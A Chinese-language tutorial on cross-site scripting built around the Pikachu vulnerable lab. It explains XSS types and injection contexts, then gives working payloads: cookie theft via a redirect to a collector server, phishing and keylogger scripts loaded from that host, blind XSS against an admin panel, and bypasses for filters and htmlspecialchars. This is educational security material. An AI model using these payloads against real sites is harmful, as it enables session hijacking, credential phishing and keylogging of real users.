跨站腳本攻擊概念介紹
跨站腳本攻擊產生原因
跨站腳本攻擊造成危害
跨站腳本攻擊分類介紹
反射型XSS或不持久型XSS(中危漏洞)
存儲性XSS或持久型XSS(高危漏洞)
DOM XSS(低危漏洞/中危漏洞)
跨站腳本攻擊存在地方
跨站腳本攻擊測試方法
跨站腳本攻擊實戰演示
xss平臺搭建及後臺使用(cookie獲取)
反射型XSS(POST)獲取用戶密碼
xss釣魚攻擊過程演示
xss獲取用戶鍵盤記錄
XSS跨站腳本攻擊盲打
跨站腳本攻擊繞過方法
跨站腳本攻擊防止繞過(函數)
跨站腳本攻擊常規防範
跨站腳本攻擊概念介紹XSS全稱(Cross Site Scripting)跨站腳本攻擊,是最常見的Web應用程式安全漏洞之一,位於OWASP top 10 2013/2017年度分別為第三名和第七名,XSS是指攻擊者在網頁中嵌入客戶端腳本,通常是JavaScript編寫的危險代碼(payload),當用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。
從上面中的一段話,可以得知,XSS屬於客戶端攻擊,受害者最終是用戶,但特別要注意的是網站管理人員也屬於用戶之一。這就意味著XSS可以進行「服務端」攻擊,因為管理員要比普通用戶的權限大得多,一般管理員都可以對網站進行文件管理,數據管理等操作,而攻擊者一般也是靠管理員身份作為「跳板」進行實施攻擊。
XSS攻擊最終目的是在網頁中嵌入客戶端惡意腳本代碼, 最常用的攻擊代碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript。而如今的網際網路客戶端腳本基本是基於Javascript, 所以如果想要深入研究XSS,必須要精通Javascript。
XSS換句話說,JavaScript能做到什麼效果,XSS的胃口就有多大。這完全不是危言聳聽。javascript可以用來獲取用戶的cookie,彈出窗口,那麼存在XSS漏洞的網站,XSS就可以用來盜取用戶Cookie, 廢掉頁面,導航到惡意網站!更高端的XSS代碼完全可以進行監控你的鍵盤操作,模仿Windows註銷界面,誘導你輸入開機密碼!而攻擊者需要做的僅僅是向你的代碼中注入Javascript代碼!
xss跨站漏洞產生原理,危害,特點:
本質,產生層面,函數類,漏洞操作對應層,危害影響,瀏覽器內核版本等。
程序對輸入和輸出的控制不夠嚴格, 導致"精心構造「的腳本輸入後, 在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
簡單的頁面測試:http://192.168.100.54/pikachu/
『」><script>alert(123456) </script>
源網頁代碼信息
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>輸入'kobe'試試-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>願你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
首先對於那些半年沒有更新的小企業網站來說,發生XSS漏洞幾乎沒有什麼用。一般在各類的社交平臺,郵件系統,開源流行的Web應用,BBS,微博等場景中,造成的殺傷力卻十分強大。
劫持用戶cookie是最常見的跨站攻擊形式,通過在網頁中寫入並執行腳本文件(多數情況下是JavaScript腳本代碼),劫持用戶瀏覽器,將用戶當前使用的sessionID信息發送至攻擊者控制的網站或伺服器中。
「框架釣魚」。利用JS腳本的基本功能之一:操作網頁中的DOM樹結構和內容,在網頁中通過JS腳本,生成虛假的頁面,欺騙用戶執行操作,而用戶所有的輸入內容都會被發送到攻擊者的伺服器上。
掛馬(水坑攻擊)
有局限性的鍵盤記錄
跨站腳本攻擊分類介紹反射型XSS或不持久型XSS(中危漏洞)交互的數據一般不會被存在資料庫裡面,只是簡單的把用戶輸入的數據反射給瀏覽器,一次性,所見即所得。
如果一個應用程式使用動態頁面向用戶顯示錯誤消息,就會造成一種常見的XSS漏洞。通常,該頁面會使用一個包含消息文本的參數,並在響應中將這個文本返回給用戶。
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>。
交互的數據會被存在在資料庫裡面,永久性存儲,具有很強的穩定性。
DOM XSS(低危漏洞/中危漏洞)不與後臺伺服器產生數據交互,通過前端的dom節點形成的XSS漏洞。
什麼是DOM:DOM全稱是Document Object Model,也就是文檔對象模型。我們可以將DOM理解為,一個與系統平臺和程式語言無關的接口,程序和腳本可以通過這個接口動態地訪問和修改文檔內容、結構和樣式。當創建好一個頁面並加載到瀏覽器時,DOM就悄然而生,它會把網頁文檔轉換為一個文檔對象,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到操作網頁的目的。
http://www.w3school.com.cn/htmldom/index.asp
<a href='"+str+"'>what do you see?</a>
<a href='#' onclick="alert(1111)">what do you see?</a>
<a href='#' onclick="alert(2222)">what do you see?</a>
原始碼示例信息:
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
</script>
在HTML代碼中包含相應xss漏洞代碼信息:
<p>
Hello {{Untrusted Data}} 變量=值(payload)
</p>
<p>
Hello <script>alert(「xss」)</script>
</p>
在對象屬性代碼中包含相應xss漏洞代碼信息:
<img src =」image.png」alt=」{{Untruted Data}}」>
<input type =」text」value=」{{Untruted Data}}」>
<body onload=」{{Untruted Data}}」>
<img src =」image.png」alt=」」onload=alert(「xss」) x=」」>
<input type =」text」value=」」 onfocus=alert(「xss」) autofocus x=」」>
<body onload=」javascript:alert(1)」>
<svg onload=alert(0)
'><svg onload='alert(0)
"><svg onload="alert(0)
在URL地址內容中包含相應xss漏洞代碼信息:
<iframe src=」{{Untrusted Data}}」>
<a href=」」>Link</a>
<META http-equiv=」refresh」content=」5;URL={{Untrused Data}}」>
<iframe src=」javascript:alert(1)」>
<a href=」data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=」>Link</a>
<META http-equiv=」refresh」content=」5;URL= data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=」>
<img style=」{{Untrusted Data}}」src=」image.png」 >
<style>
{{Untrusted Data}}
</style>
<img style=」xss:expression(alert(『xss』))」src=」image.png」 >
<style>
body{width:expression(alert(1))}
</style>
body{xss:expression(alert(0))},這是一個死循環,放入IE就會卡死,在虛擬機測試
expression(alert(0)),這是一個死循環,放入IE就會卡死,在虛擬機測試
<body onload=」javascript:{{Untrusted Data}}」 >
<script>
var x=』{{Untrusted Data}}』;
</script>
<body onload=」javascript: prompt(『xss』)」 >
<script>
var x=』』; alert(1);//
</script>
1;alert(0);//
1";alert(0);//
使用手工檢測Web應用程式是否存在XSS漏洞時,最重要的是考慮那裡有輸入,輸入的數據在什麼地方輸出。在進行手工檢測XSS時,人畢竟不像軟體那樣不知疲憊,所以一定要選擇有特殊意義的字符,這樣可以快速測試是否存在XSS。
在目標站點上找到輸入點,比如查詢接口,留言板等;
輸入一組"特殊字符+唯一識別字符",點擊提交後,查看返回的源碼,是否有做對應的處理;
通過搜索定位到唯一字符,結合唯一字符前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;
跨站腳本攻擊實戰演示xss平臺搭建及後臺使用(cookie獲取)利用xss反射型(get)漏洞攻擊進行展示
<script>document.location =
'http://192.168.110.22/pikachu/pkxss/xcookie/cookie.php?cookie=' +
document.cookie;</script>
//通過document.location 實例進行重定向到
http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
post攻擊利用頁面(D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html)
利用xss反射型(post)漏洞攻擊進行展示
http://192.168.110.23:8080/post.html
釣魚攻擊利用頁面(D:\phpStudy\WWW\pikachu\pkxss\xfish)
利用xss存儲型漏洞攻擊進行展示
<script src="http://192.168.110.22/pikachu/pkxss/xfish/fish.php"></script>
相關需要關注的文件信息:
http://192.168.110.22/pikachu/pkxss/xfish/fish.php
http://192.168.110.22/pikachu/pkxss/xfish/xfish.php
1)什麼是跨域
http:// www. baidu.com :80 / news/index.php -- url地址
協議 子域名 主域名 埠 資源地址
http://www.heqing.com:80/test/info.html
http://bbs.heqing.com:80/test/info.html -- 與上面比較是不同域
https://www.heqing.com:80/test/info.html -- 與上面比較是不同域
http://www.heqing.com:8080/test/info.html -- 與上面比較是不同域
http://www.heqing.com:80/test/test.html -- 與上面比較屬於同域
當協議、主機(主域名,子域名)、埠中的任意一個不相同時,稱為不同域。我們把不同的域之間請求數據的操作,成為跨域操作。
2)同源策略
為了安全考慮,所有瀏覽器都約定了「同源策略」,同源策略禁止頁面加載或執行與自身來源不同的域的任何腳本既不同域之間不能使用JS進行操作。比如:x.com域名下的js不能操作y.com域名下的對象
http://www.heqing.com/index.php
http://bbs.heqing.com/index.php
那麼為什麼要有同源策略?比如一個惡意網站的頁面通過js嵌入了銀行的登錄頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript腳本就可以在用戶登錄銀行的時候獲取用戶名和密碼。
下面這些標籤跨域加載資源(資源類型是有限止的)是不受同源策略限制的
<script src="..."> //加載
<img src="..."> //圖片
<link href="..."> //css
<iframe src="..."> //任意資源
3)同源策略修改
D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
同之前的案例到後臺設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問。
4)rk.js關鍵代碼解讀
/pikachu/pkxss/rkeypress/rk.js 查看文件信息
var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄,最後轉化為字符串
xl+=realkey; //賦值給x1
show(); //調用show涵數,通過下面ajax進行post發送鍵盤記錄人內容
輸入設置好的惡意JS代碼:
<script src="http://192.168.110.22/pikachu/pkxss/rkeypress/rk.js"></script>
然後在鍵盤上隨意輸入,就可以到xss平臺上去查看鍵盤輸入的結果
XSS跨站腳本攻擊盲打XSS盲打就是攻擊者在前端提交的數據不知道後臺是否存在xss漏洞的情況下,提交惡意JS代碼在類似留言板等輸入框後,所展現的後臺位置的情況下,網站採用了攻擊者插入的惡意代碼,當後臺管理員在操作時就會觸發插入的惡意代碼,從而達到攻擊者的目的。
管理員後臺:http://192.168.110.22/pikachu/vul/xss/xssblind/admin_login.php
用戶名:admin 密碼信息:123456
跨站腳本攻擊繞過方法大多數網站為了避免xss的攻擊,對於攻擊者的輸入都採取了過濾的措施,導致攻擊者通常不能正常插入惡意代碼來達到攻擊目的。但是仍存在一些漏洞可以利用,來繞過過濾措施。
xss繞過的方法有許多,主要取決於攻擊者的思路和對前端技術的掌握,以下介紹幾個簡單的繞過方法。
例:<sCRipT>alert('你打籃球像test')</sCrIPt>
例:<sc<script>ript>alert('你打籃球像test')</scr<script>ipt>
例:<sc<!--test-->ript>alert('你打籃球像test')</scr<!--tshauie-->ipt>
例:使用事件屬性onerror(): <img src=# onerror="alert('test')"/>
使用HTML進行編碼:
<img src=x onerror="alert('heqing')"/>
htmlspecialchars()函數把一些預定義的字符轉換為 HTML 實體。
預定義的字符是:
該函數的語法:](https://img-blog.csdnimg.cn/20210708195652114.png)
htmlspecialchars(string,flags,character-set,double_encode)
用法參考連結:
https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
過濾原理:htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函數默認配置不會將單引號和雙引號過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號
可用的quotestyle類型:
ENT_COMPAT - 默認。僅編碼雙引號
ENT_QUOTES - 編碼雙引號和單引號
ENT_NOQUOTES - 不編碼任何引號
可使用以下語句繞過: q' onclick='alert(111)'
XSS防禦的總體思路是:對輸入進行過濾,對輸出進行編碼
xss之href輸出繞過:javascript:alert(1111) 直接代入a標籤herf裡面一樣可以繞過htmlspecialchars
xss之js輸出繞過:
<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無論如何不要放棄心中所愛..')
}
}
</script>